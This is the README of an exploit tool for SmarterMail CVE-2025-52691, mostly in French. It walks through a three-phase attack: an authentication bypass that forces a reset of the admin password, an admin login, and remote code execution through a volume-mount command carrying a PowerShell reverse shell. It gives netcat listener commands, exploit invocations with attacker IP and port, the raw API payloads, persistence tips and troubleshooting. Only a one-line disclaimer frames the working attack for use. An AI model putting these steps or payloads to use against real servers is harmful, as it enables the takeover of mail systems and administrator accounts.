
CVE-2025-52691 PoC : Basé sur l'article WT-2026-0001 de watchtowr concernant une exploitation de contournement d'authentification, celui-ci est un script d'attaque Python fonctionnel.
Cet outil est réservé aux tests de sécurité autorisés et à des fins éducatives uniquement !
Cet exploit combine deux vulnérabilités critiques dans SmarterMail :
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
L'exploit réalise une attaque en 3 phases :
Phase 1 : Contournement d'authentification via WT-2026-0001
Phase 2 : Connexion administrateur avec le nouveau mot de passe
Phase 3 : Exécution de code à distance via la fonctionnalité de montage de volumes
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Identification de la cible
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
Configuration de l'écouteur
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
Validation réseau
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Connexion au shell
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
Vérifier l'accès
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Accès persistant
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Point de terminaison : POST /api/v1/auth/force-reset-password
Charge utile :
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Réponse en cas de succès :
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Point de terminaison : POST /api/v1/auth/login
Charge utile :
{
"username": "admin",
"password": "NewPassword123!@#"
}
Point de terminaison : POST /api/v1/settings/volume-mounts
Charge utile :
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
Activez le mode débogage pour une sortie détaillée :
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Rappelez-vous : Un grand pouvoir implique de grandes responsabilités !
| Paramètre | Description | Valeur par défaut |
|---|
-H, --host | Hôte cible (obligatoire) | - |
-P, --port | Port cible | 9998 |
-A, --attacker-ip | IP de l'attaquant pour le shell inversé (obligatoire) | - |
-p, --attacker-port | Port de l'attaquant pour le shell inversé (obligatoire) | - |
-d, --debug | Activer le mode débogage | False |
--admin-username | Nom d'utilisateur administrateur | admin |
--new-password | Nouveau mot de passe administrateur | NewPassword123!@# |
| Paramètre | Description |
|---|
-t, --target | Hôte cible |
-p, --port | Port cible |
-a, --attacker-ip | IP de l'attaquant |
-l, --listener-port | Port de l'écouteur |
-n, --new-password | Nouveau mot de passe administrateur |
-u, --admin-user | Nom d'utilisateur administrateur |
-d, --debug | Mode débogage |
--auto | Mode automatisé |